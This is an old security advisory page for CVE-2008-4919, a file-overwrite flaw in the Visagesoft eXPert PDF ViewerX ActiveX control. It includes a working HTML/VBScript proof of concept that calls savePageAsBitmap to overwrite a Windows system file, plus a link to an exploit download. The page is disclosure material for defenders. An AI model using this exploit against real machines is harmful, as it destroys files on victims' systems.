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Home arrow SecurityAlert Database

Arrow  Topic :

Visagesoft eXPert PDF ViewerX (VSPDFViewerX.ocx) File Overwrite


Arrow  SecurityAlert : 4558
Arrow  CVE : CVE-2008-4919
Arrow  CWE : CWE-20
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
  ExploitAlert :   5025
Arrow  Credit : Marco Torti
Arrow  Published : 06.11.2008

Arrow  Affected Software : visagesoft:expert_pdf_viewer_activex:3.0.990.0



Arrow  Advisory Content :  

VISAGESOFT eXPertPDFViewerX (VSPDFViewerX.ocx) INSECURE METHOD
SITE: http://www.visagesoft.com

This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
Author: Marco Torti
mail: marcotorti2[at]yahoo[dot]com
thanks UGIS
###########################################################################
#####
FileVersion: 3.0.990.0
CLSID: {BDF3E9D2-5F7A-4F4A-A914-7498C862EA6A}
Description: Visagesoft PDF Viewer Control
ProgID: VSPDFEditorX.VSPDFEdit

Marked as:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPStorage Safe: Safe for untrusted: caller,data

Vulnerable method:
savePageAsBitmap(ByVal bitmapFileName As String) As Boolean
###########################################################################
#######
Vulnerability Description:
The "savePageAsBitmap" method doesn't check user supplied arguments so
we
can save/overwrite a specified file passed as argument, i don't have
time, check others functions....
Tested on Windows XP Professional SP3 fully patched, with Internet
Explorer 7
###########################################################################
########
<object classid='clsid:BDF3E9D2-5F7A-4F4A-A914-7498C862EA6A'
id='target'/></object>
<input language=VBScript onclick=launch() type=button value='start
exploit'>
<script language='vbscript'>
Sub launch
target.savePageAsBitmap "c:\windows\-system.ini"
MsgBox"Exploit Completed.. file overwrite!"
End Sub
</script>
###########################################################################
########



Arrow  References :

http://securityreason.com/expldownload/1/5025/1 (Exploit)




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
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